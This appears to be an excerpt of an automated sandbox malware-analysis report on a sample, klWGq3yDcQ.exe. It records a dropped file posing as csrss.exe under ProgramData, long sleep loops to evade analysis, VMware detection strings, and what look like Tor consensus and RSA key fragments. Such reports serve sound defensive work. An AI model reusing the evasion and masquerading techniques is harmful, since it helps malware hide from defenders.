Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe TID: 2144	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe TID: 1696	Thread sleep count: 3246 > 30	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe TID: 1696	Thread sleep time: -324600s >= -30000s	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe TID: 1696	Thread sleep count: 6746 > 30	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe TID: 1696	Thread sleep time: -674600s >= -30000s	Jump to behavior

Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_0-7968

Source: C:\ProgramData\Drivers\csrss.exe	Window / User API: threadDelayed 3246			Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Window / User API: threadDelayed 6746			Jump to behavior

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Code function: 0_2_00404004 ReadConsoleInputA,CreateJobObjectW,EnumDateFormatsExA,CreateNamedPipeW,CreateFileMappingW,SetConsoleWindowInfo,TlsGetValue,OpenWaitableTimerW,CreateFileW,GetWindowsDirectoryA,GetSystemInfo,InitializeSListHead,GetModuleHandleW,

0_2_00404004

Source: klWGq3yDcQ.exe, 00000001.00000003.1742964639.0000000003A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <BS3tF3Yb5O3GboaRnAiA-SFxZeDJJ/gxOHdfHb+UpPThHSQtie02t2IFTVwYTujg-SGqjdhy5z+UWie9qWpTVh7wQ02kxeu3pb2A/0831mTM-SGxPze+4w8vb7Ex+Grg4s8WcOhOAfglM7YRVR12n9FE-SHvHTqtQJVvtqhysj9MMDODzq/JBUw3cHbvvurAsctU-SH38y3G5LV1lzFVwpiKdUE0Lfs3ZLaK9z3SfIJRC7v4-SIBhDXnIiEZyyvWelB+D0NMCTWI4pbHSxxXQ8VMMIr0-SJwxpZ4u92Ce5KQ9i8DHmDbpLf4YMu9hIpCENr9bHgQ-SJ3t8o4RocIZ5xvdBegEpz+uzZ49YniQwLKrRumqkyI-SJ7bMbcPl3+K8PJP4yIgzh66MrsfPgkvC4WtfjJ98fU-SKBae+pSHMleIfk83TExYU83MytXzmkq/WMtSBJ/5kg-SKPjxSwh6I6au0I6QG9/6VPN0Otwxs56MaMzeyfUbo4-SKZBpcMoLsD23H6Ahk9z310inUH0K0gVWC7+TPANkeQ-SKm4S03VIfp9X8DDzHtm2J+0FbFb2NU6c1rHOPJ+s2w-SKn0NeC7YSf0U8OOT6SUAJjTUSMS2/wm0Oka7bnZHFM-SLWh2GoyF6OmTfcjnCk6x5vjIcAqR5S4Sz+TcRO5v8w-SL/Ftv+pjRFYI8FwoeCowlJ5RbnK8FxhAdZObGIg9Mg-SMFZ6GLlvmyuXTd02ktl9zxx++P7IT6chKCDyXK/DWc-SMVofzDNTBRFeeXvnyamlFsTqPujVbkVuNdz/6YBVP0-SNtStDR1RX7xWpbpT6x6pahujmTzkI4CtA6bljKRkIo-SN/19UXRnhKRbhdVJkk4cXVc2AFNlQHZGCT3EaC7/QE-SOfUNjKx6Poytu4t0fXHVjChyQT68rKeXoSmrMHR410-SOhuAUg4o/K+Og9FBpa6hFa3XvA8T/Y6zkzd/jPCcn8-SO797AiTXjmD6mGBQN4IFBZTU679jKiJtdZQF5361zc-SQ7jHGfSsmE5DB3dCbdtu7xJ7YSe34meVDElzhEjqOw-SQ+rCDgFcmDgCp8WSr+ncPa7KVMzHzmxpUp/DZ038e0-SRlLQu96bOX34GnWVnj7HKb1W7PGy4KVLPYaCASEXb0-SRmCBZPvpQ+wkH8nH0qaxoUvFknnB3pxfGy+2X98z6w-SR/vAM6NlcvJFiiMs+xS3Plg737DRZilY9PdRnC9BRY-SShTHduoxVaDwDbAYFt0gWov/VKOUwtM9v1iOniAnb4-SStAMGf3kcnKjDGuOM/tK5GnnkePqAJCgTYBmpSJCUg-STLJiib+1Fipo5pYdU9gXnubkoVuXuisubFbafq5JDU-STOSaNwHjJDMDrWN0IVDfmRxlks1gpkMa0DN85fMjiI-ST6M7rDVBZR0F3QDdommJaLr96AVWngSXL5FaljE4c0-SUNOAetLlTsBdCZB3hfr29w6S1QBSRovQrw+Zf0MlaU-SUQwkIBSzB46xSYyY/Jeb061jcikPjG16gk/OyzLC10-SUfVU5VURk3Eh+103rykejE+ULybpqf6wPWdsjrfnc0-SUijfeaqYEXjnhbxsrLU41Uk4N106EHKkhmyL/8gG0c-SWe2NoGcpMD60A0ioFTqH86dfC34F82HWZEV+vqXDcY-SWlCxrbVEMhNTjzLW38Ux1Rxxr+drXqnudfmAZlipAs-SWsawbviYlkBcdPHkVYJ/AXnR0XBr+dMY4X1QVDyJ1g-SZf/4bEJN/FO5zyzZXRL3SIegSI781Zrd4upKUFXNSk-SaAQg0iLLzFlj2xlOGD6wHlE9tlM5SX1n18kSTC9OYM-SaIr3HA3wIwKV/+DGtJ/OUYcYiVFsrE2oYPlTTf+xjk-SamgvU6xK4WjO8ZDggpWoR5sW/LsB27CGCkXeCNkpIM-Sax9zEP+qHFPFnCr+lmP5DXnazNB1get/GQaPQoQ4xU-SbT5uSdQ4cXoLhHLdb8Tm2HUHo62xQCaBMwyGDd/g3c-SbZKe8Ek5PjgoPvoza1uZiY2uJNcPZN4CAJ2I0LUEBY-ScOEAuntUl5HnjJOYP+nMfKuL4BGXX5C6G3PpKbAKLk-SdGzxbU34CIa72vReuGegm6T6dijeCow6qmjAV23Mlc-SdqkqoZZuVPuhIav1Apn1/P1IuNwBQNM3ykY70Su0gQ-SeG8k2YJ6K6A21McK2hL5JUbxeemynDBSQG2b5NIXBo-Sey5xGOPFayu9EwAN8EqGXQ+i84cwiar9YHtJqIBX8U-Se7R0hpqEM+10Coh94+iG5r2Y324wQ6Uy29LSR4H0ak-Se9R98FZeXW09AjvQM6iCj0TOMZTzDI/5oKXwE0BAKg-SfJ5PDNfU2WHZ9o6fRs3vq3B/La1zqyuxmNN4NCbMBs-SgJk+Jc/BiSYUsQDynvCuN+ijiVQdO84eHw5LnLSSsc-SgU5TakoWF3nj096twri43JGDuBiLW1LONGhwaaNBcY-Sgy4BhlFk6ZfvAYbCOOF2OLXmICA9GzDnc398GiVRX8-Sg3y8tIfSl8Wekmnsp4JCWgYzRjq4vOjLo3gLIfAU80-ShY9d0DOPMXOkyHsqiNCN9DE28mnKxLxuLDObaBzha0-ShirlXRl99R9PyGaKyHusxiTwumWU1qChjUqU7XjTDo-Shz/adTXIuj/5ZLFeNN1Hd+AJagKfryuIdaYDijCj+E-SiZzhbpI1t8jc/BXgvY8ZenjQTmrqOc1pmayzPKbczk-Si3X78ESpr35kPXqHNh+hYcoIYuanX/aWEvizl1nrb0-SjYLA7hp7gltG6Xdtytfdw70U6jmlfbbVRL2wKROh4I-SkWOdu1Og7Dex65sE9MhqIszly/363me10QVqeGM478-SlI3XeLKVSh321wIqYKaNwr3s5+LaK9UdZjJaeHtdJE-Slb7OP38mdPhxoHYQKu5t35fK37i26
Source: klWGq3yDcQ.exe, 00000001.00000003.1800315933.0000000003451000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887881053.00000000046E6000.00000004.00000020.00020000.00000000.sdmp, cached-microdescs.new.1.dr	Binary or memory string: MIGJAoGBALKN3lFV1+mkbPHYM6ZP8E5+CjY8GhgFSjM0ZHC8JvfLZt43yWBCSPq1
Source: klWGq3yDcQ.exe, 00000001.00000003.1725771282.000000000384C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.1724036596.00000000035A0000.00000004.00000020.00020000.00000000.sdmp, unverified-microdesc-consensus.tmp.1.dr	Binary or memory string: m y7GRJMAy3qGR1lhg6mTZzEgwSWdYxPtUKYtqEMUV8Yw
Source: klWGq3yDcQ.exe, 00000001.00000003.1823806958.0000000003453000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y/R51l2yYyphkOzNTCS/jkV76dFWOuP6pikJzol8tgOIVz1QEmulAgMBAAE=
Source: klWGq3yDcQ.exe, 00000001.00000003.1823806958.0000000003453000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /3FVGQ/x4WLt2xC2h4eY01oA4VvQEMuhxxOJX7nHYk992+JGgImBAgMBAAE=
Source: csrss.exe, 00000004.00000002.3485243692.0000000000C49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: klWGq3yDcQ.exe, 00000001.00000003.1827563459.000000000345A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MIGJAoGBANzbX9VMRjByYYiWI0aKIpBDV903CLdYwmj5NvMCii0IVR2ThY4/2N1k
Source: klWGq3yDcQ.exe, 00000001.00000003.1743043519.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <qvlLhYhQn9q5uqU8TH7U-ymfjPOUfdZ+HhZgDxnIiOccmXbl9GzHcYzb8Azbyyls-ynZWfZ5IwPlGgjrQtltR10GIo3ImQgWfXr6oQ3Dl6j8-yoMG7IiJOzZ4DT9aGzFzbIzxit8ZtgNtQc9SvvNjtu8-yoMm7m99syUL9AYK1OUvjB3k0Ssvf23zJPZQrQtBo+k-yoZlNyQat1+2EsI1PE2htPvq2rJmKqED13mTCXvXyQ4-yo1alLeCsVHjkaVoa/kWrQWNIOsZGiNesJA9Eahby08-yo+lA5RSppAFJ5SqS5UjWw6MRfqQ3nvj5Rg1CAdAClc-yqfHsxbVzBe9FsgkmdM476jEpAuZu8G0EmBV0yWW0SE-yqyDmVy+CacgoyGd0M0fISMl/GeIN9PuGo/UMWTEgFM-yq3P8KmeJy1e6ZIX85/Vr7Qa8bifJtx3ANdPqjoJ5+Q-yr4CF87zl9rcjM1sCMsbN+hwQWbqridu/CTqxWWEXks-yr6Ecub/1tOFEXf/5BGYX90K7tE4GVIpuHQ7bt1Yp5A-ysZYQW/VYSpRkxehhnCPOzecdf8h/MEjzQMiBQOA+ow-ytq4Il9wnlvagWcP+AeDad0VeLaT9kFgLvsAmPdsW8o-yuIp28mGF/wACnkMUKYRUdcap2hx7cwUU/5xNIVlP8k-yugdI19RO6xX3hZtQlGblUCCCGjKsB/4IlUoo1/URLI-yvJ8sXeYwJjQQUawn+55Bw7JtMSkCmbK/NL/PMiKHMQ-ywj7SwXuD2oSMimnb8+F1q5HBJ0azc4T10zBXzk2OVo-yw2x2BQSf/4nKf7DtuTor3eVHVXaXqSuDMIZ1XIAyNU-yxMhQSkp1B3y2VeFjXEjYKhpAVamoO6zRVts1rVYAm8-yxYV4iNLlGjgMXpXwueb6OelyWI/bJPtFFnQGi++LWc-yxYqUQW7exz6gw7UEq2NCdR05Tl8dvZqWNQEMfMJZyU-yxkrdAZUaasj04rcaRJ3nDyopNn8SisRWvg99lMvvBQ-yzIn9tVvHfnIdx4CXj6l8qac55BiX676xyMjjf16eRs-yz4wqGdfDoEPCX1VX9BqnHyuJQwr/22reRmwlshhOwE-y1wsnyq1Mplx0bf0fepmkeDaGLEPek4hQbPVHU8d2lE-y3T0aR/MDwPgTS4kJo9wqMSANFRvMCDxE7xypysAFA4-y4AV78N9Os9jNMNGp183F8AUIGlk9rKjIelP6s4JFGg-y5IfzspsxZROwi7xnP6SlvVfqubd/7RenIYCHZeHRT8-y5QQ+v/ryxR+gG6U8VS7MQb9MTM5aSVXaUKI3ZFgPCs-y5YOyHyYkQ0uXquaRqeg5JCrtOfBw17Q5S18UteqKjw-y6MmfcINDklfKvXjYBEbru9ukdehNYKoRCOT1cA8ttQ-y7GRJMAy3qGR1lhg6mTZzEgwSWdYxPtUKYtqEMUV8Yw-y8Nu+mSH9Wx0fO7Qh4FrxH7XxZCpONnqS5cKT2UNwn8-y8l8arTODxevzAVo+hJ15tOagH7aD4yWiBJ3miiI43Q-y87ETtfQn5AqcIbrm1r1OMjMfzXLpGO7PpXFseCrv5o-y9c3PYzLowp9ceLSf7KXC4q04DzJ19sw4I9h5iANkvM-y+8asNcjUpF6AXpkhH+NqUHQZb1PXKZ1/SvvWVlPe9I-y//aokZz8acm53xCM2oRpyl71z70uHJCm4/m4k/Hra0-zAY51Nri+ghIddrndWIhyboYWi0X+f5KpMJmOqcn2rs-zBbVzi7xKUXqiSsuAGMwoqz6qWvKB7JO3GR7KRGAqhk-zBtKv73g5ycnCzUbH1CPuzYG0N+rOA08wJbTQrUJXOY-zCP5rsIbXHmJxV+38GQtjsB+r2AAAqHaSJbkUTtTgmA-zCmw9gD4hn0g5kDH6sx/aZNlTjnlxwulJJAXfBmwTO8-zEaudWGJthkurisjuFiN2xUVW9d8f/u6Mev50zPzync-zEvMvKEoR94v2PGRc/7hQ7U0JQG6ohQZ/bKZG1712Ws-zFfxVJeBGQlSiFPjy0G0arjf/OYTPwcGHD+8BWKpCKc-zF4qL0hMKwnZ37dQQ7ClnfQ7ABdi2WkEJcdnrbS55G4-zGS7pNaEZDPQkAjWxozgVjDqiBRTo3WupQlNtkPMXBk-zGfNDbCmzcE2NKMweNSFnUyQ96DKVaOVHjmZaZ3ba08-zG8hS7iRjiHMJ/CcdRZli0lWc6V/2oaGdcA5kaCFBlk-zHPyHoBHNqwnCOrR36gjGtWLrTnYxOSzL4TMM97ttkg-zIGK/4zDGkjYn/g4wCoNEHtl4+onEGwLkSxkABh6Btw-zJth0jE0ba2lhtrEXLWQNEhsz4H/Ssp2Bix57YigI6w-zJ62zqfTIuAz1kvV73AVwLG/72s6IHGHfVus5IQp7JA-zLdWMt6aYYnWUSEgZUAWNQyCS9NNZPxRkaV+Q4H7y8o-zMOsxSYkUBosOPWUncopJFVr+RIEOLd7znwjN0LKE8Y-zMRcloGTynfCrLdJ4KqY+HX/BfNepkAcBRyk9aLtcCM-zMsrKjBa7imfXE1z8hYzeAC7VJgQ1vhs1xhcVCetF6M-zNAG/AUd8DYuH7r1X7Zqu2Yrhf/0wiRlDkRC7Vovgyk-zNVhoiXx9T7znVA4ThjQfdGzNoWCLV2KVjOAACjW7yE-zOFOIjDhepPn+GTnh6gvsLbOzxXr1ZEfr+0h9i/u40U-zOSS2gaBOafiKY4fkXNwtEfWHoJyOAoZ33MAOqKCSG8-zOYZwwYMsgPkitvSwtfvm2ibt4Rm4qjKJiMcr6iLr28-zO1+Ktle/h9PwtZC/IIukThUlJyldvkH1Qn3byjcmnU-zP+0ZjtqgmyYuTpf1rGCQOMpw71iI/2776VwFroR4fI-zRDxbA/g0biXrNrBfWVNC5069DTrh71bFfctj2trysI-zRP44NqITqW3csw/GiH5EL11c+fsSs
Source: klWGq3yDcQ.exe, 00000001.00000003.1725771282.000000000384C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.1724036596.00000000035A0000.00000004.00000020.00020000.00000000.sdmp, unverified-microdesc-consensus.tmp.1.dr	Binary or memory string: m SQ7jHGfSsmE5DB3dCbdtu7xJ7YSe34meVDElzhEjqOw
Source: klWGq3yDcQ.exe, 00000001.00000003.1827563459.000000000345A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MIGJAoGBAK7h1VmCi65Obi5jNTRteVQcxmCUm10opeTD7+Q1UVttM/Hv6XudG/RA
Source: klWGq3yDcQ.exe, 00000001.00000003.1843189879.000000000345C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MIGJAoGBAKZKuJzV8ZX+cjLj4pS5kCOpDnhqEMu9pStjmoyoAgEAaM0J4FeJUTox
Source: csrss.exe, 00000004.00000002.3485243692.0000000000C49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: klWGq3yDcQ.exe, 00000001.00000003.1742964639.0000000003A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BS3tF3Yb5O3GboaRnAiA-SFxZeDJJ/gxOHdfHb+UpPThHSQtie02t2IFTVwYTujg-SGqjdhy5z+UWie9qWpTVh7wQ02kxeu3pb2A/0831mTM-SGxPze+4w8vb7Ex+Grg4s8WcOhOAfglM7YRVR12n9FE-SHvHTqtQJVvtqhysj9MMDODzq/JBUw3cHbvvurAsctU-SH38y3G5LV1lzFVwpiKdUE0Lfs3ZLaK9z3SfIJRC7v4-SIBhDXnIiEZyyvWelB+D0NMCTWI4pbHSxxXQ8VMMIr0-SJwxpZ4u92Ce5KQ9i8DHmDbpLf4YMu9hIpCENr9bHgQ-SJ3t8o4RocIZ5xvdBegEpz+uzZ49YniQwLKrRumqkyI-SJ7bMbcPl3+K8PJP4yIgzh66MrsfPgkvC4WtfjJ98fU-SKBae+pSHMleIfk83TExYU83MytXzmkq/WMtSBJ/5kg-SKPjxSwh6I6au0I6QG9/6VPN0Otwxs56MaMzeyfUbo4-SKZBpcMoLsD23H6Ahk9z310inUH0K0gVWC7+TPANkeQ-SKm4S03VIfp9X8DDzHtm2J+0FbFb2NU6c1rHOPJ+s2w-SKn0NeC7YSf0U8OOT6SUAJjTUSMS2/wm0Oka7bnZHFM-SLWh2GoyF6OmTfcjnCk6x5vjIcAqR5S4Sz+TcRO5v8w-SL/Ftv+pjRFYI8FwoeCowlJ5RbnK8FxhAdZObGIg9Mg-SMFZ6GLlvmyuXTd02ktl9zxx++P7IT6chKCDyXK/DWc-SMVofzDNTBRFeeXvnyamlFsTqPujVbkVuNdz/6YBVP0-SNtStDR1RX7xWpbpT6x6pahujmTzkI4CtA6bljKRkIo-SN/19UXRnhKRbhdVJkk4cXVc2AFNlQHZGCT3EaC7/QE-SOfUNjKx6Poytu4t0fXHVjChyQT68rKeXoSmrMHR410-SOhuAUg4o/K+Og9FBpa6hFa3XvA8T/Y6zkzd/jPCcn8-SO797AiTXjmD6mGBQN4IFBZTU679jKiJtdZQF5361zc-SQ7jHGfSsmE5DB3dCbdtu7xJ7YSe34meVDElzhEjqOw-SQ+rCDgFcmDgCp8WSr+ncPa7KVMzHzmxpUp/DZ038e0-SRlLQu96bOX34GnWVnj7HKb1W7PGy4KVLPYaCASEXb0-SRmCBZPvpQ+wkH8nH0qaxoUvFknnB3pxfGy+2X98z6w-SR/vAM6NlcvJFiiMs+xS3Plg737DRZilY9PdRnC9BRY-SShTHduoxVaDwDbAYFt0gWov/VKOUwtM9v1iOniAnb4-SStAMGf3kcnKjDGuOM/tK5GnnkePqAJCgTYBmpSJCUg-STLJiib+1Fipo5pYdU9gXnubkoVuXuisubFbafq5JDU-STOSaNwHjJDMDrWN0IVDfmRxlks1gpkMa0DN85fMjiI-ST6M7rDVBZR0F3QDdommJaLr96AVWngSXL5FaljE4c0-SUNOAetLlTsBdCZB3hfr29w6S1QBSRovQrw+Zf0MlaU-SUQwkIBSzB46xSYyY/Jeb061jcikPjG16gk/OyzLC10-SUfVU5VURk3Eh+103rykejE+ULybpqf6wPWdsjrfnc0-SUijfeaqYEXjnhbxsrLU41Uk4N106EHKkhmyL/8gG0c-SWe2NoGcpMD60A0ioFTqH86dfC34F82HWZEV+vqXDcY-SWlCxrbVEMhNTjzLW38Ux1Rxxr+drXqnudfmAZlipAs-SWsawbviYlkBcdPHkVYJ/AXnR0XBr+dMY4X1QVDyJ1g-SZf/4bEJN/FO5zyzZXRL3SIegSI781Zrd4upKUFXNSk-SaAQg0iLLzFlj2xlOGD6wHlE9tlM5SX1n18kSTC9OYM-SaIr3HA3wIwKV/+DGtJ/OUYcYiVFsrE2oYPlTTf+xjk-SamgvU6xK4WjO8ZDggpWoR5sW/LsB27CGCkXeCNkpIM-Sax9zEP+qHFPFnCr+lmP5DXnazNB1get/GQaPQoQ4xU-SbT5uSdQ4cXoLhHLdb8Tm2HUHo62xQCaBMwyGDd/g3c-SbZKe8Ek5PjgoPvoza1uZiY2uJNcPZN4CAJ2I0LUEBY-ScOEAuntUl5HnjJOYP+nMfKuL4BGXX5C6G3PpKbAKLk-SdGzxbU34CIa72vReuGegm6T6dijeCow6qmjAV23Mlc-SdqkqoZZuVPuhIav1Apn1/P1IuNwBQNM3ykY70Su0gQ-SeG8k2YJ6K6A21McK2hL5JUbxeemynDBSQG2b5NIXBo-Sey5xGOPFayu9EwAN8EqGXQ+i84cwiar9YHtJqIBX8U-Se7R0hpqEM+10Coh94+iG5r2Y324wQ6Uy29LSR4H0ak-Se9R98FZeXW09AjvQM6iCj0TOMZTzDI/5oKXwE0BAKg-SfJ5PDNfU2WHZ9o6fRs3vq3B/La1zqyuxmNN4NCbMBs-SgJk+Jc/BiSYUsQDynvCuN+ijiVQdO84eHw5LnLSSsc-SgU5TakoWF3nj096twri43JGDuBiLW1LONGhwaaNBcY-Sgy4BhlFk6ZfvAYbCOOF2OLXmICA9GzDnc398GiVRX8-Sg3y8tIfSl8Wekmnsp4JCWgYzRjq4vOjLo3gLIfAU80-ShY9d0DOPMXOkyHsqiNCN9DE28mnKxLxuLDObaBzha0-ShirlXRl99R9PyGaKyHusxiTwumWU1qChjUqU7XjTDo-Shz/adTXIuj/5ZLFeNN1Hd+AJagKfryuIdaYDijCj+E-SiZzhbpI1t8jc/BXgvY8ZenjQTmrqOc1pmayzPKbczk-Si3X78ESpr35kPXqHNh+hYcoIYuanX/aWEvizl1nrb0-SjYLA7hp7gltG6Xdtytfdw70U6jmlfbbVRL2wKROh4I-SkWOdu1Og7Dex65sE9MhqIszly/363me10QVqeGM478-SlI3XeLKVSh321wIqYKaNwr3s5+La